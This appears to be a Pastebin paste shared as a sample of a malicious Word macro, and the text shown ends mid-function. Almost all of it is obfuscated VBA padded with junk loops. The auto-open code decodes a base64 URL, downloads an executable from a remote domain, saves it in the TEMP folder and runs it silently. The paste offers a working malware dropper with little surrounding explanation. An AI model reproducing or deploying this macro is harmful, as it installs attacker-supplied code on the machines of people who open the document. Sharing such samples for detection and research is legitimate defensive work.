Advertisement
dynamoo

Malicious Word macro

Jan 27th, 2015
514
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Private Const u3Uwsv = "aHR0cDovL1VLUi1URUNIVFJBSU5JTkdET01BSU4uQ09NL2pzL2Jpbi5leGU="
  10. Private Const SwH7 = "XHNkZnNkZmVyZndlLmV4ZQ=="
  11. Private Const rEKE = "VEVNUA=="
  12. Private Const rpg = SwH7
  13. Private Const fSt = rEKE
  14. Private Const dThZ7U4aF = "U2hlbGwuQXBwbGljYXRpb24="
  15. Private Const qsVrDVAmOj = "Z2ZoZGZnc2Rn"
  16. Private Const SFgBv0ISXZ = "R0VU"
  17. Private Const Ky1e8CmX3 = "TVNYTUwyLlhNTEhUVFA="
  18. Private aDecTab(255) As Integer
  19. Private Const TcKhQpncb = "="
  20. Private Const uwbNZtnc = "/"
  21. Private Const mE4AWCC3O = "+"
  22. Private Const rH2A = "9"
  23. Private Const MPt = "0"
  24. Private Const o4YsRAnX = "z"
  25. Private Const vJ5d = "a"
  26. Private Const lVvyl = "Z"
  27. Private Const uoqGqBG = "A"
  28. Private Const BvWUutkkp = " "
  29.  
  30. Sub Zkp()
  31.  HJlIT
  32. Dim GxoBMv As Integer
  33. For GxoBMv = 1136 To 1136 + 5
  34. DoEvents
  35. Next GxoBMv
  36. Dim gmujOYZQczG As Integer
  37. For gmujOYZQczG = 2307 To 2307 + 5
  38. DoEvents
  39. Next gmujOYZQczG
  40. End Sub
  41. Sub iVF()
  42.      Zkp
  43. Dim QijEFOmTx As Integer
  44. For QijEFOmTx = 691 To 691 + 5
  45. DoEvents
  46. Next QijEFOmTx
  47. Dim YyJDVSpL As Integer
  48. For YyJDVSpL = 2211 To 2211 + 5
  49. DoEvents
  50. Next YyJDVSpL
  51. End Sub
  52. Sub fdgdfgdfs()
  53.      Zkp
  54. Dim qJpMfrfdQpmsCIEQijEFO As Integer
  55. For qJpMfrfdQpmsCIEQijEFO = 2244 To 2244 + 5
  56. DoEvents
  57. Next qJpMfrfdQpmsCIEQijEFO
  58. Dim LkcYkAP As Integer
  59. For LkcYkAP = 1927 To 1927 + 5
  60. DoEvents
  61. Next LkcYkAP
  62. End Sub
  63. Function OMDQIXQgo(ByVal ADLSYXKPREO As String, ByVal IKDBZPEAYPQ As String) As Boolean
  64.      Dim lujjb As Long, MQVWCEBVJCH As Long, KEXFJZFKHXC() As Byte
  65. Dim zSbQwrsqgZgKlQnr As Integer
  66. For zSbQwrsqgZgKlQnr = 1420 To 1420 + 5
  67. DoEvents
  68. Next zSbQwrsqgZgKlQnr
  69. Dim FAegMgujOYZQ As Integer
  70. For FAegMgujOYZQ = 2245 To 2245 + 5
  71. DoEvents
  72. Next FAegMgujOYZQ
  73.  
  74. Dim Qwrsq As Integer
  75. For Qwrsq = 1737 To 1737 + 5
  76. DoEvents
  77. Next Qwrsq
  78. Dim lxatZ As Integer
  79. For lxatZ = 1864 To 1864 + 5
  80. DoEvents
  81. Next lxatZ
  82.     Set ZNMPYFFKHMF = CreateObject(tocFpmF(Ky1e8CmX3))
  83. Dim SpLkcYkAPlZi As Integer
  84. For SpLkcYkAPlZi = 1736 To 1736 + 5
  85. DoEvents
  86. Next SpLkcYkAPlZi
  87. Dim tlKnRCx As Integer
  88. For tlKnRCx = 2054 To 2054 + 5
  89. DoEvents
  90. Next tlKnRCx
  91.     ZNMPYFFKHMF.Open tocFpmF(SFgBv0ISXZ), ADLSYXKPREO, False
  92. Dim wOoOaTmUscms As Integer
  93. For wOoOaTmUscms = 471 To 471 + 5
  94. DoEvents
  95. Next wOoOaTmUscms
  96. Dim KnRCxmxoBMvuiTvRsardh As Integer
  97. For KnRCxmxoBMvuiTvRsardh = 2052 To 2052 + 5
  98. DoEvents
  99. Next KnRCxmxoBMvuiTvRsardh
  100.     ZNMPYFFKHMF.Send tocFpmF(qsVrDVAmOj)
  101. Dim gKlQnrtlKnRCmGxoBMvu As Integer
  102. For gKlQnrtlKnRCmGxoBMvu = 1705 To 1705 + 5
  103. DoEvents
  104. Next gKlQnrtlKnRCmGxoBMvu
  105. Dim iSahx As Integer
  106. For iSahx = 1337 To 1337 + 5
  107. DoEvents
  108. Next iSahx
  109.  
  110. Dim zTmhVC As Integer
  111. For zTmhVC = 1305 To 1305 + 5
  112. DoEvents
  113. Next zTmhVC
  114. Dim zRrRd As Integer
  115. For zRrRd = 2226 To 2226 + 5
  116. DoEvents
  117. Next zRrRd
  118.  
  119. Dim UFBpJAr As Integer
  120. For UFBpJAr = 2066 To 2066 + 5
  121. DoEvents
  122. Next UFBpJAr
  123. Dim JQvHHQbeV As Integer
  124. For JQvHHQbeV = 1657 To 1657 + 5
  125. DoEvents
  126. Next JQvHHQbeV
  127.     KEXFJZFKHXC = ZNMPYFFKHMF.responseBody
  128. Dim FBpJArFPyxlYUhwduhlK As Integer
  129. For FBpJArFPyxlYUhwduhlK = 990 To 990 + 5
  130. DoEvents
  131. Next FBpJArFPyxlYUhwduhlK
  132. Dim sBaTxzgFNDjefd As Integer
  133. For sBaTxzgFNDjefd = 546 To 546 + 5
  134. DoEvents
  135. Next sBaTxzgFNDjefd
  136.  
  137. Dim cyQdZknCY As Integer
  138. For cyQdZknCY = 643 To 643 + 5
  139. DoEvents
  140. Next cyQdZknCY
  141. Dim RrRdQpZvf As Integer
  142. For RrRdQpZvf = 1529 To 1529 + 5
  143. DoEvents
  144. Next RrRdQpZvf
  145.     MQVWCEBVJCH = FreeFile
  146. Dim snQgzThVCKLJO As Integer
  147. For snQgzThVCKLJO = 706 To 706 + 5
  148. DoEvents
  149. Next snQgzThVCKLJO
  150. Dim egYxaEC As Integer
  151. For egYxaEC = 168 To 168 + 5
  152. DoEvents
  153. Next egYxaEC
  154.     Open IKDBZPEAYPQ For Binary Access Write As #MQVWCEBVJCH
  155. Dim xnSccafJQvHHQbeV As Integer
  156. For xnSccafJQvHHQbeV = 1657 To 1657 + 5
  157. DoEvents
  158. Next xnSccafJQvHHQbeV
  159. Dim txArQ As Integer
  160. For txArQ = 971 To 971 + 5
  161. DoEvents
  162. Next txArQ
  163.     Put #MQVWCEBVJCH, , KEXFJZFKHXC
  164. Dim TyKKbehZxMF As Integer
  165. For TyKKbehZxMF = 2049 To 2049 + 5
  166. DoEvents
  167. Next TyKKbehZxMF
  168. Dim wBngnQsd As Integer
  169. For wBngnQsd = 1193 To 1193 + 5
  170. DoEvents
  171. Next wBngnQsd
  172.     Close #MQVWCEBVJCH
  173. Dim mUiHHjr As Integer
  174. For mUiHHjr = 781 To 781 + 5
  175. DoEvents
  176. Next mUiHHjr
  177. Dim rQtZIEtND As Integer
  178. For rQtZIEtND = 498 To 498 + 5
  179. DoEvents
  180. Next rQtZIEtND
  181.    
  182. Dim rDgzfD As Integer
  183. For rDgzfD = 1635 To 1635 + 5
  184. DoEvents
  185. Next rDgzfD
  186. Dim nrFbd As Integer
  187. For nrFbd = 1005 To 1005 + 5
  188. DoEvents
  189. Next nrFbd
  190. Set sdfsdfsdf = CreateObject(tocFpmF(dThZ7U4aF))
  191. Dim TJpkljoagn As Integer
  192. For TJpkljoagn = 639 To 639 + 5
  193. DoEvents
  194. Next TJpkljoagn
  195. Dim fruIeg As Integer
  196. For fruIeg = 69 To 69 + 5
  197. DoEvents
  198. Next fruIeg
  199. sdfsdfsdf.Open Environ(tocFpmF(fSt)) & tocFpmF(rpg)
  200. Dim uHjCiG As Integer
  201. For uHjCiG = 699 To 699 + 5
  202. DoEvents
  203. Next uHjCiG
  204. Dim EreFcoCkB As Integer
  205. For EreFcoCkB = 1047 To 1047 + 5
  206. DoEvents
  207. Next EreFcoCkB
  208. End Function
  209. Sub autoopen()
  210.      Zkp
  211. End Sub
  212. Sub HJlIT()
  213. BHngijbjfdv = Environ(tocFpmF(fSt)) & tocFpmF(rpg)
  214. Dim kcAPIsdxafs As Integer
  215. For kcAPIsdxafs = 290 To 290 + 5
  216. DoEvents
  217. Next kcAPIsdxafs
  218. Dim cLHwQGxL As Integer
  219. For cLHwQGxL = 2282 To 2282 + 5
  220. DoEvents
  221. Next cLHwQGxL
  222. sdnfhuijk = tocFpmF(u3Uwsv)
  223. Dim afspYlKK As Integer
  224. For afspYlKK = 2347 To 2347 + 5
  225. DoEvents
  226. Next afspYlKK
  227. Dim miuxLh As Integer
  228. For miuxLh = 334 To 334 + 5
  229. DoEvents
  230. Next miuxLh
  231.      OMDQIXQgo sdnfhuijk, BHngijbjfdv
  232. Dim mGlJbBcnhz As Integer
  233. For mGlJbBcnhz = 2455 To 2455 + 5
  234. DoEvents
  235. Next mGlJbBcnhz
  236. Dim KzTKAOZHHvh As Integer
  237. For KzTKAOZHHvh = 903 To 903 + 5
  238. DoEvents
  239. Next KzTKAOZHHvh
  240. End Sub
  241.  
  242.  
  243. Public Function tocFpmF(sEncoded As String) As String
  244. Dim vAd As String
  245. Dim hknfESLwegA As Integer
  246. For hknfESLwegA = 1506 To 1506 + 5
  247. DoEvents
  248. Next hknfESLwegA
  249. Dim kADGyQAf As Integer
  250. For kADGyQAf = 2169 To 2169 + 5
  251. DoEvents
  252. Next kADGyQAf
  253. Dim d(3) As Byte
  254. Dim jeHJqwPYMs As Integer
  255. For jeHJqwPYMs = 1505 To 1505 + 5
  256. DoEvents
  257. Next jeHJqwPYMs
  258. Dim IdwqgLU As Integer
  259. For IdwqgLU = 113 To 113 + 5
  260. DoEvents
  261. Next IdwqgLU
  262. Dim C As Byte
  263. Dim lkAqtlJmRP As Integer
  264. For lkAqtlJmRP = 1468 To 1468 + 5
  265. DoEvents
  266. Next lkAqtlJmRP
  267. Dim AOkmvFAd As Integer
  268. For AOkmvFAd = 1308 To 1308 + 5
  269. DoEvents
  270. Next AOkmvFAd
  271. Dim di As Integer
  272. Dim EOmhKMszS As Integer
  273. For EOmhKMszS = 138 To 138 + 5
  274. DoEvents
  275. Next EOmhKMszS
  276. Dim KjplxAO As Integer
  277. For KjplxAO = 2036 To 2036 + 5
  278. DoEvents
  279. Next KjplxAO
  280. Dim i As Long
  281. Dim hwDEOmhKMsz As Integer
  282. For hwDEOmhKMsz = 1466 To 1466 + 5
  283. DoEvents
  284. Next hwDEOmhKMsz
  285. Dim yIDhwOj As Integer
  286. For yIDhwOj = 1038 To 1038 + 5
  287. DoEvents
  288. Next yIDhwOj
  289. Dim Yagv1OZ As Long
  290. Dim HTkzGIRpkN As Integer
  291. For HTkzGIRpkN = 880 To 880 + 5
  292. DoEvents
  293. Next HTkzGIRpkN
  294. Dim fNNBnOlxLtKw As Integer
  295. For fNNBnOlxLtKw = 943 To 943 + 5
  296. DoEvents
  297. Next fNNBnOlxLtKw
  298. Dim ahUiR2UU6UrM As Long
  299. Dim ZgKYQnrtlKa As Integer
  300. For ZgKYQnrtlKa = 1986 To 1986 + 5
  301. DoEvents
  302. Next ZgKYQnrtlKa
  303. Dim KKJOzszeEqG As Integer
  304. For KKJOzszeEqG = 814 To 814 + 5
  305. DoEvents
  306. Next KKJOzszeEqG
  307. Yagv1OZ = Len(sEncoded)
  308. Dim MrPhHit As Integer
  309. For MrPhHit = 89 To 89 + 5
  310. DoEvents
  311. Next MrPhHit
  312. Dim RQEqRo As Integer
  313. For RQEqRo = 1652 To 1652 + 5
  314. DoEvents
  315. Next RQEqRo
  316. vAd = String((Yagv1OZ \ 4) * 3, BvWUutkkp)
  317. Dim pKnrFBk As Integer
  318. For pKnrFBk = 1619 To 1619 + 5
  319. DoEvents
  320. Next pKnrFBk
  321. Dim TIdTKYiRQEqR As Integer
  322. For TIdTKYiRQEqR = 131 To 131 + 5
  323. DoEvents
  324. Next TIdTKYiRQEqR
  325. ahUiR2UU6UrM = 0
  326. Dim FluvtyVdkNb As Integer
  327. For FluvtyVdkNb = 1999 To 1999 + 5
  328. DoEvents
  329. Next FluvtyVdkNb
  330. Dim NOMRCvChHtJ As Integer
  331. For NOMRCvChHtJ = 2378 To 2378 + 5
  332. DoEvents
  333. Next NOMRCvChHtJ
  334. di = 0
  335. Dim TJpxywBZgn As Integer
  336. For TJpxywBZgn = 748 To 748 + 5
  337. DoEvents
  338. Next TJpxywBZgn
  339. Dim IefoMtQmSZ As Integer
  340. For IefoMtQmSZ = 1412 To 1412 + 5
  341. DoEvents
  342. Next IefoMtQmSZ
  343. Call kp1UWLnYV
  344. Dim MEAMesN As Integer
  345. For MEAMesN = 952 To 952 + 5
  346. DoEvents
  347. Next MEAMesN
  348. Dim gmitKLhisPwa As Integer
  349. For gmitKLhisPwa = 2310 To 2310 + 5
  350. DoEvents
  351. Next gmitKLhisPwa
  352. ' Read in each char in trun
  353. Dim GIpJO As Integer
  354. For GIpJO = 1139 To 1139 + 5
  355. DoEvents
  356. Next GIpJO
  357. Dim sPwapV As Integer
  358. For sPwapV = 1205 To 1205 + 5
  359. DoEvents
  360. Next sPwapV
  361. For i = 1 To Len(sEncoded)
  362. Dim hvQENmhJLsM As Integer
  363. For hvQENmhJLsM = 47 To 47 + 5
  364. DoEvents
  365. Next hvQENmhJLsM
  366. Dim YjplwNO As Integer
  367. For YjplwNO = 2102 To 2102 + 5
  368. DoEvents
  369. Next YjplwNO
  370. C = CByte(Asc(Mid(sEncoded, i, 1)))
  371. Dim epjByVrPH As Integer
  372. For epjByVrPH = 899 To 899 + 5
  373. DoEvents
  374. Next epjByVrPH
  375. Dim SzdtagzH As Integer
  376. For SzdtagzH = 712 To 712 + 5
  377. DoEvents
  378. Next SzdtagzH
  379. C = aDecTab(C)
  380. Dim vPUdSyHIGLj As Integer
  381. For vPUdSyHIGLj = 1672 To 1672 + 5
  382. DoEvents
  383. Next vPUdSyHIGLj
  384. Dim djCKzfbb As Integer
  385. For djCKzfbb = 534 To 534 + 5
  386. DoEvents
  387. Next djCKzfbb
  388. If C >= 0 Then
  389. Dim QsardhHhsmE As Integer
  390. For QsardhHhsmE = 692 To 692 + 5
  391. DoEvents
  392. Next QsardhHhsmE
  393. Dim YUscmsoAQ As Integer
  394. For YUscmsoAQ = 978 To 978 + 5
  395. DoEvents
  396. Next YUscmsoAQ
  397. d(di) = C
  398. Dim UFnpJ As Integer
  399. For UFnpJ = 1307 To 1307 + 5
  400. DoEvents
  401. Next UFnpJ
  402. Dim mTIdTJY As Integer
  403. For mTIdTJY = 1147 To 1147 + 5
  404. DoEvents
  405. Next mTIdTJY
  406. di = di + 1
  407. Dim FluvtyjcjNb As Integer
  408. For FluvtyjcjNb = 2065 To 2065 + 5
  409. DoEvents
  410. Next FluvtyjcjNb
  411. Dim pxmRNNMRCJQh As Integer
  412. For pxmRNNMRCJQh = 1084 To 1084 + 5
  413. DoEvents
  414. Next pxmRNNMRCJQh
  415. If di = 4 Then
  416. Dim oxywBmfnQe As Integer
  417. For oxywBmfnQe = 1129 To 1129 + 5
  418. DoEvents
  419. Next oxywBmfnQe
  420. Dim mSZsAq As Integer
  421. For mSZsAq = 1162 To 1162 + 5
  422. DoEvents
  423. Next mSZsAq
  424. Mid$(vAd, ahUiR2UU6UrM + 1, 3) = wXV8Ug(d)
  425. Dim OLQapKLUfa As Integer
  426. For OLQapKLUfa = 592 To 592 + 5
  427. DoEvents
  428. Next OLQapKLUfa
  429. Dim AqVQQPU As Integer
  430. For AqVQQPU = 1509 To 1509 + 5
  431. DoEvents
  432. Next AqVQQPU
  433. ahUiR2UU6UrM = ahUiR2UU6UrM + 3
  434. Dim SOadsNOZidG As Integer
  435. For SOadsNOZidG = 383 To 383 + 5
  436. DoEvents
  437. Next SOadsNOZidG
  438. Dim HSMfOl As Integer
  439. For HSMfOl = 477 To 477 + 5
  440. DoEvents
  441. Next HSMfOl
  442. If d(3) = 64 Then
  443. Dim kQbAomgyvRoM As Integer
  444. For kQbAomgyvRoM = 1650 To 1650 + 5
  445. DoEvents
  446. Next kQbAomgyvRoM
  447. Dim oYjplwNcklv As Integer
  448. For oYjplwNcklv = 492 To 492 + 5
  449. DoEvents
  450. Next oYjplwNcklv
  451. vAd = Left(vAd, Len(vAd) - 1)
  452. Dim aeDspjB As Integer
  453. For aeDspjB = 1694 To 1694 + 5
  454. DoEvents
  455. Next aeDspjB
  456. Dim ZhtVpUtK As Integer
  457. For ZhtVpUtK = 1062 To 1062 + 5
  458. DoEvents
  459. Next ZhtVpUtK
  460. ahUiR2UU6UrM = ahUiR2UU6UrM - 1
  461. Dim kyIrreQr As Integer
  462. For kyIrreQr = 142 To 142 + 5
  463. DoEvents
  464. Next kyIrreQr
  465. Dim jOYYQcyF As Integer
  466. For jOYYQcyF = 2373 To 2373 + 5
  467. DoEvents
  468. Next jOYYQcyF
  469. End If
  470. Dim tzSbPvrrqu As Integer
  471. For tzSbPvrrqu = 1454 To 1454 + 5
  472. DoEvents
  473. Next tzSbPvrrqu
  474. Dim Lgltj As Integer
  475. For Lgltj = 600 To 600 + 5
  476. DoEvents
  477. Next Lgltj
  478. If d(2) = 64 Then
  479. Dim MrPitif As Integer
  480. For MrPitif = 1530 To 1530 + 5
  481. DoEvents
  482. Next MrPitif
  483. Dim DFaCHUfANBnO As Integer
  484. For DFaCHUfANBnO = 1024 To 1024 + 5
  485. DoEvents
  486. Next DFaCHUfANBnO
  487. vAd = Left(vAd, Len(vAd) - 1)
  488. Dim hxYQndgYwaEC As Integer
  489. For hxYQndgYwaEC = 234 To 234 + 5
  490. DoEvents
  491. Next hxYQndgYwaEC
  492. Dim qRonOwNzD As Integer
  493. For qRonOwNzD = 500 To 500 + 5
  494. DoEvents
  495. Next qRonOwNzD
  496. ahUiR2UU6UrM = ahUiR2UU6UrM - 1
  497. Dim dHFncwner As Integer
  498. For dHFncwner = 530 To 530 + 5
  499. DoEvents
  500. Next dHFncwner
  501. Dim ZENOMR As Integer
  502. For ZENOMR = 2336 To 2336 + 5
  503. DoEvents
  504. Next ZENOMR
  505. End If
  506. Dim xyHfaDF As Integer
  507. For xyHfaDF = 513 To 513 + 5
  508. DoEvents
  509. Next xyHfaDF
  510. Dim DrdEbnBjA As Integer
  511. For DrdEbnBjA = 1113 To 1113 + 5
  512. DoEvents
  513. Next DrdEbnBjA
  514. di = 0
  515. Dim hkbAP As Integer
  516. For hkbAP = 2316 To 2316 + 5
  517. DoEvents
  518. Next hkbAP
  519. Dim ByUEPV As Integer
  520. For ByUEPV = 2046 To 2046 + 5
  521. DoEvents
  522. Next ByUEPV
  523. End If
  524. Dim utVDUGKkKVPi As Integer
  525. For utVDUGKkKVPi = 2267 To 2267 + 5
  526. DoEvents
  527. Next utVDUGKkKVPi
  528. Dim NaCVBarDr As Integer
  529. For NaCVBarDr = 1887 To 1887 + 5
  530. DoEvents
  531. Next NaCVBarDr
  532. End If
  533. Dim QgBoyVQuw As Integer
  534. For QgBoyVQuw = 843 To 843 + 5
  535. DoEvents
  536. Next QgBoyVQuw
  537. Dim dvGvsmEBZ As Integer
  538. For dvGvsmEBZ = 1634 To 1634 + 5
  539. DoEvents
  540. Next dvGvsmEBZ
  541. Next i
  542. Dim gzFNCirs As Integer
  543. For gzFNCirs = 700 To 700 + 5
  544. DoEvents
  545. Next gzFNCirs
  546. Dim YkBBY As Integer
  547. For YkBBY = 730 To 730 + 5
  548. DoEvents
  549. Next YkBBY
  550.  tocFpmF = vAd
  551. Dim QeRDfBAcbMRrRdQpmI As Integer
  552. For QeRDfBAcbMRrRdQpmI = 1206 To 1206 + 5
  553. DoEvents
  554. Next QeRDfBAcbMRrRdQpmI
  555. Dim LjBNBz As Integer
  556. For LjBNBz = 869 To 869 + 5
  557. DoEvents
  558. Next LjBNBz
  559. End Function
  560. Private Function wXV8Ug(d() As Byte) As String
  561. Dim MUlJcBiW As String
  562. Dim DgMeQUuUg As Integer
  563. For DgMeQUuUg = 1377 To 1377 + 5
  564. DoEvents
  565. Next DgMeQUuUg
  566. Dim fqHIef As Integer
  567. For fqHIef = 156 To 156 + 5
  568. DoEvents
  569. Next fqHIef
  570. Dim C As Long
  571. Dim HGjQiT As Integer
  572. For HGjQiT = 1802 To 1802 + 5
  573. DoEvents
  574. Next HGjQiT
  575. Dim nPjOn As Integer
  576. For nPjOn = 1294 To 1294 + 5
  577. DoEvents
  578. Next nPjOn
  579. MUlJcBiW = vbNullString
  580. Dim mTlQbAbmgy As Integer
  581. For mTlQbAbmgy = 43 To 43 + 5
  582. DoEvents
  583. Next mTlQbAbmgy
  584. Dim HTIFzRO As Integer
  585. For HTIFzRO = 865 To 865 + 5
  586. DoEvents
  587. Next HTIFzRO
  588. C = RTgCMP8ArHN(d(0)) Or (fmTcJ(d(1)) And &H3)
  589. Dim PxzTw As Integer
  590. For PxzTw = 23 To 23 + 5
  591. DoEvents
  592. Next PxzTw
  593. Dim MFMrR As Integer
  594. For MFMrR = 2177 To 2177 + 5
  595. DoEvents
  596. Next MFMrR
  597. MUlJcBiW = MUlJcBiW & Chr$(C)
  598. Dim KLsMRa As Integer
  599. For KLsMRa = 182 To 182 + 5
  600. DoEvents
  601. Next KLsMRa
  602. Dim bOLFYUscmso As Integer
  603. For bOLFYUscmso = 165 To 165 + 5
  604. DoEvents
  605. Next bOLFYUscmso
  606. C = sWGD(d(1) And &HF) Or (LBCH1U(d(2)) And &HF)
  607. Dim nFCZuTLH As Integer
  608. For nFCZuTLH = 2157 To 2157 + 5
  609. DoEvents
  610. Next nFCZuTLH
  611. Dim SxYJadgYxa As Integer
  612. For SxYJadgYxa = 1855 To 1855 + 5
  613. DoEvents
  614. Next SxYJadgYxa
  615. MUlJcBiW = MUlJcBiW & Chr$(C)
  616. Dim etlVDFbDH As Integer
  617. For etlVDFbDH = 2299 To 2299 + 5
  618. DoEvents
  619. Next etlVDFbDH
  620. Dim OlJPLQa As Integer
  621. For OlJPLQa = 822 To 822 + 5
  622. DoEvents
  623. Next OlJPLQa
  624. C = S2OPk(d(2) And &H3) Or d(3)
  625. Dim JcLiRdieqHV As Integer
  626. For JcLiRdieqHV = 33 To 33 + 5
  627. DoEvents
  628. Next JcLiRdieqHV
  629. Dim yvRoMS As Integer
  630. For yvRoMS = 395 To 395 + 5
  631. DoEvents
  632. Next yvRoMS
  633. MUlJcBiW = MUlJcBiW & Chr$(C)
  634. Dim eqSmRqHhHSMf As Integer
  635. For eqSmRqHhHSMf = 616 To 616 + 5
  636. DoEvents
  637. Next eqSmRqHhHSMf
  638. Dim QoaeDsp As Integer
  639. For QoaeDsp = 1134 To 1134 + 5
  640. DoEvents
  641. Next QoaeDsp
  642.  wXV8Ug = MUlJcBiW
  643. Dim ZhuVpUtK As Integer
  644. For ZhuVpUtK = 1040 To 1040 + 5
  645. DoEvents
  646. Next ZhuVpUtK
  647. Dim yIrreQ As Integer
  648. For yIrreQ = 627 To 627 + 5
  649. DoEvents
  650. Next yIrreQ
  651. End Function
  652. Private Function kp1UWLnYV()
  653. Dim t As Integer
  654. Dim ifNbAAckxZtY As Integer
  655. For ifNbAAckxZtY = 1907 To 1907 + 5
  656. DoEvents
  657. Next ifNbAAckxZtY
  658. Dim dhHvsmE As Integer
  659. For dhHvsmE = 736 To 736 + 5
  660. DoEvents
  661. Next dhHvsmE
  662. Dim C As Integer
  663. Dim foAcwbzRr As Integer
  664. For foAcwbzRr = 1542 To 1542 + 5
  665. DoEvents
  666. Next foAcwbzRr
  667. Dim ugkKy As Integer
  668. For ugkKy = 2428 To 2428 + 5
  669. DoEvents
  670. Next ugkKy
  671. For C = 0 To 255
  672. Dim YxMFpQ As Integer
  673. For YxMFpQ = 2218 To 2218 + 5
  674. DoEvents
  675. Next YxMFpQ
  676. Dim SzFZhQCxy As Integer
  677. For SzFZhQCxy = 1459 To 1459 + 5
  678. DoEvents
  679. Next SzFZhQCxy
  680. aDecTab(C) = -1
  681. Dim qvDtZiiglIPQ As Integer
  682. For qvDtZiiglIPQ = 428 To 428 + 5
  683. DoEvents
  684. Next qvDtZiiglIPQ
  685. Dim bLHvQGxL As Integer
  686. For bLHvQGxL = 2326 To 2326 + 5
  687. DoEvents
  688. Next bLHvQGxL
  689. Next
  690. Dim mFlJbBbmgy As Integer
  691. For mFlJbBbmgy = 2499 To 2499 + 5
  692. DoEvents
  693. Next mFlJbBbmgy
  694. Dim BwaqIdw As Integer
  695. For BwaqIdw = 1582 To 1582 + 5
  696. DoEvents
  697. Next BwaqIdw
  698. t = 0
  699. Dim NfFfqkC As Integer
  700. For NfFfqkC = 1431 To 1431 + 5
  701. DoEvents
  702. Next NfFfqkC
  703. Dim ylMivJrIuy As Integer
  704. For ylMivJrIuy = 2283 To 2283 + 5
  705. DoEvents
  706. Next ylMivJrIuy
  707. For C = Asc(uoqGqBG) To Asc(lVvyl)
  708. Dim juoGpLvGMI As Integer
  709. For juoGpLvGMI = 1981 To 1981 + 5
  710. DoEvents
  711. Next juoGpLvGMI
  712. Dim ZVtOntpBES As Integer
  713. For ZVtOntpBES = 968 To 968 + 5
  714. DoEvents
  715. Next ZVtOntpBES
  716. aDecTab(C) = t
  717. Dim UwQvTmLmxr As Integer
  718. For UwQvTmLmxr = 3 To 3 + 5
  719. DoEvents
  720. Next UwQvTmLmxr
  721. Dim LZjSRFrSpBPx As Integer
  722. For LZjSRFrSpBPx = 1773 To 1773 + 5
  723. DoEvents
  724. Next LZjSRFrSpBPx
  725. t = t + 1
  726. Dim CahoRfeu As Integer
  727. For CahoRfeu = 1818 To 1818 + 5
  728. DoEvents
  729. Next CahoRfeu
  730. Dim nTatBrQRSQVG As Integer
  731. For nTatBrQRSQVG = 2356 To 2356 + 5
  732. DoEvents
  733. Next nTatBrQRSQVG
  734. Next
  735. Dim UJpyzxCahoR As Integer
  736. For UJpyzxCahoR = 458 To 458 + 5
  737. DoEvents
  738. Next UJpyzxCahoR
  739. Dim QdwEuaU As Integer
  740. For QdwEuaU = 91 To 91 + 5
  741. DoEvents
  742. Next QdwEuaU
  743. For C = Asc(vJ5d) To Asc(o4YsRAnX)
  744. Dim HJqKP As Integer
  745. For HJqKP = 1007 To 1007 + 5
  746. DoEvents
  747. Next HJqKP
  748. Dim ZkqmxOP As Integer
  749. For ZkqmxOP = 1970 To 1970 + 5
  750. DoEvents
  751. Next ZkqmxOP
  752. aDecTab(C) = t
  753. Dim EfqkC As Integer
  754. For EfqkC = 1497 To 1497 + 5
  755. DoEvents
  756. Next EfqkC
  757. Dim xObPMGZVscnt As Integer
  758. For xObPMGZVscnt = 339 To 339 + 5
  759. DoEvents
  760. Next xObPMGZVscnt
  761. t = t + 1
  762. Dim aSClnHkoCM As Integer
  763. For aSClnHkoCM = 1195 To 1195 + 5
  764. DoEvents
  765. Next aSClnHkoCM
  766. Dim JRiIHYNQI As Integer
  767. For JRiIHYNQI = 509 To 509 + 5
  768. DoEvents
  769. Next JRiIHYNQI
  770. Next
  771. Dim mvvuzkdkOc As Integer
  772. For mvvuzkdkOc = 1933 To 1933 + 5
  773. DoEvents
  774. Next mvvuzkdkOc
  775. Dim nTatBq As Integer
  776. For nTatBq = 1031 To 1031 + 5
  777. DoEvents
  778. Next nTatBq
  779. For C = Asc(MPt) To Asc(rH2A)
  780. Dim wtPlK As Integer
  781. For wtPlK = 2454 To 2454 + 5
  782. DoEvents
  783. Next wtPlK
  784. Dim ITNgPm As Integer
  785. For ITNgPm = 345 To 345 + 5
  786. DoEvents
  787. Next ITNgPm
  788. aDecTab(C) = t
  789. Dim ocNpLYm As Integer
  790. For ocNpLYm = 29 To 29 + 5
  791. DoEvents
  792. Next ocNpLYm
  793. Dim oDwgNQlNRgd As Integer
  794. For oDwgNQlNRgd = 1688 To 1688 + 5
  795. DoEvents
  796. Next oDwgNQlNRgd
  797. t = t + 1
  798. Dim eHjTkoriHkOz As Integer
  799. For eHjTkoriHkOz = 1213 To 1213 + 5
  800. DoEvents
  801. Next eHjTkoriHkOz
  802. Dim GBegMh As Integer
  803. For GBegMh = 1799 To 1799 + 5
  804. DoEvents
  805. Next GBegMh
  806. Next
  807. Dim NfrgdQp As Integer
  808. For NfrgdQp = 372 To 372 + 5
  809. DoEvents
  810. Next NfrgdQp
  811. Dim EGbDIVgBOCoP As Integer
  812. For EGbDIVgBOCoP = 892 To 892 + 5
  813. DoEvents
  814. Next EGbDIVgBOCoP
  815. C = Asc(mE4AWCC3O)
  816. Dim ZxbFDl As Integer
  817. For ZxbFDl = 798 To 798 + 5
  818. DoEvents
  819. Next ZxbFDl
  820. Dim wrUkCQ As Integer
  821. For wrUkCQ = 2172 To 2172 + 5
  822. DoEvents
  823. Next wrUkCQ
  824. aDecTab(C) = t
  825. Dim VvVhbtczj As Integer
  826. For VvVhbtczj = 527 To 527 + 5
  827. DoEvents
  828. Next VvVhbtczj
  829. Dim vhxADvUxcMHw As Integer
  830. For vhxADvUxcMHw = 1078 To 1078 + 5
  831. DoEvents
  832. Next vhxADvUxcMHw
  833. t = t + 1
  834. Dim BONeikcBQItb As Integer
  835. For BONeikcBQItb = 1172 To 1172 + 5
  836. DoEvents
  837. Next BONeikcBQItb
  838. Dim wRScAhKa As Integer
  839. For wRScAhKa = 2199 To 2199 + 5
  840. DoEvents
  841. Next wRScAhKa
  842. C = Asc(uwbNZtnc)
  843. Dim ZxplxNdym As Integer
  844. For ZxplxNdym = 805 To 805 + 5
  845. DoEvents
  846. Next ZxplxNdym
  847. Dim kNeKQkshM As Integer
  848. For kNeKQkshM = 713 To 713 + 5
  849. DoEvents
  850. Next kNeKQkshM
  851. aDecTab(C) = t
  852. Dim tCaUyAhAG As Integer
  853. For tCaUyAhAG = 1294 To 1294 + 5
  854. DoEvents
